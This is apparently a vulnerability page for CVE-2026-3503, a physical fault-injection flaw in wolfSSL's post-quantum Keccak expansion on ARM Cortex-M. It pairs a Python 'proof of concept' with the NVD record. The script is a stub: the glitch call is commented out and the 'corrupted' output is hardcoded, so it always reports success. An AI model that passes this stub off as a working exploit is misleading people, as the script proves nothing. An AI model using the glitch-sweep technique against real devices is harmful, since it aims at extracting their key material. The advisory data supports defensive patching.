CVE-2026-3503

#!/usr/bin/env python3 """ CVE-2026-3503 PoC Concept: Fault Injection on wolfSSL Keccak Expansion Target: ARM Cortex-M running wolfSSL with ML-KEM/ML-DSA Description: This script demonstrates the logic to synchronize a fault injection attack during the Keccak expansion phase to corrupt seed/pointer values. """ import time class FaultInjectionTarget: def __init__(self, device_interface): self.interface = device_interface self.glitch_offset = 0 self.glitch_width = 0 def trigger_encryption(self): """Trigger the target device to start ML-KEM/ML-DSA operation.""" print("[+] Triggering cryptographic operation on target...") self.interface.write(b"START_OP\n") def monitor_execution(self): """Monitor power trace or GPIO for Keccak expansion trigger.""" print("[+] Monitoring for Keccak expansion trigger...") # In a real scenario, this would use an oscilloscope or ChipWhisperer time.sleep(0.1) # Simulating detection time return True def inject_glitch(self): """Inject transient fault at precise offset.""" print(f"[!] Injecting fault: Offset={self.glitch_offset}ns, Width={self.glitch_width}ns") # Hardware specific command to inject glitch # self.interface.set_glitch(parameters) time.sleep(0.01) def collect_output(self): """Collect the ciphertext or signature output.""" print("[+] Collecting output...") return "CORRUPTED_OUTPUT_DATA" def main(): print("=== CVE-2026-3503 PoC Simulation ===") # Initialize target (simulation) target = FaultInjectionTarget(device_interface="SIMULATION") # Attempt to find the correct glitch window for offset in range(100, 500, 50): target.glitch_offset = offset target.glitch_width = 20 # Fixed width for example target.trigger_encryption() if target.monitor_execution(): target.inject_glitch() result = target.collect_output() # Hypothetical check for successful fault propagation if "CORRUPTED" in result: print(f"[+] Potential successful fault injection at offset {offset}") print("[+] Analyzing output for key material leakage...") # Further cryptanalysis would happen here break if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-3503", "sourceIdentifier": "[email protected]", "published": "2026-03-19T19:16:20.570", "lastModified": "2026-04-29T17:28:53.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Protection mechanism failure in wolfCrypt post-quantum implementations (ML-KEM and ML-DSA) in wolfSSL on ARM Cortex-M microcontrollers allows a physical attacker to compromise key material and/or cryptographic outcomes via induced transient faults that corrupt or redirect seed/pointer values during Keccak-based expansion.\n\n\n\n\nThis issue affects wolfSSL (wolfCrypt): commit hash d86575c766e6e67ef93545fa69c04d6eb49400c6."}, {"lang": "es", "value": "Falla del mecanismo de protección en las implementaciones post-cuánticas de wolfCrypt (ML-KEM y ML-DSA) en wolfSSL en microcontroladores ARM Cortex-M permite a un atacante físico comprometer material de clave y/o resultados criptográficos a través de fallas transitorias inducidas que corrompen o redirigen valores de semilla/puntero durante la expansión basada en Keccak.\n\nEste problema afecta a wolfSSL (wolfCrypt): hash de commit d86575c766e6e67ef93545fa69c04d6eb49400c6."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-335"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.8.2", "versionEndExcluding": "5.9.0", "matchCriteriaId": "A2A180B2-4508-417E-9A0B-D8FF01125D83"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/9734", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}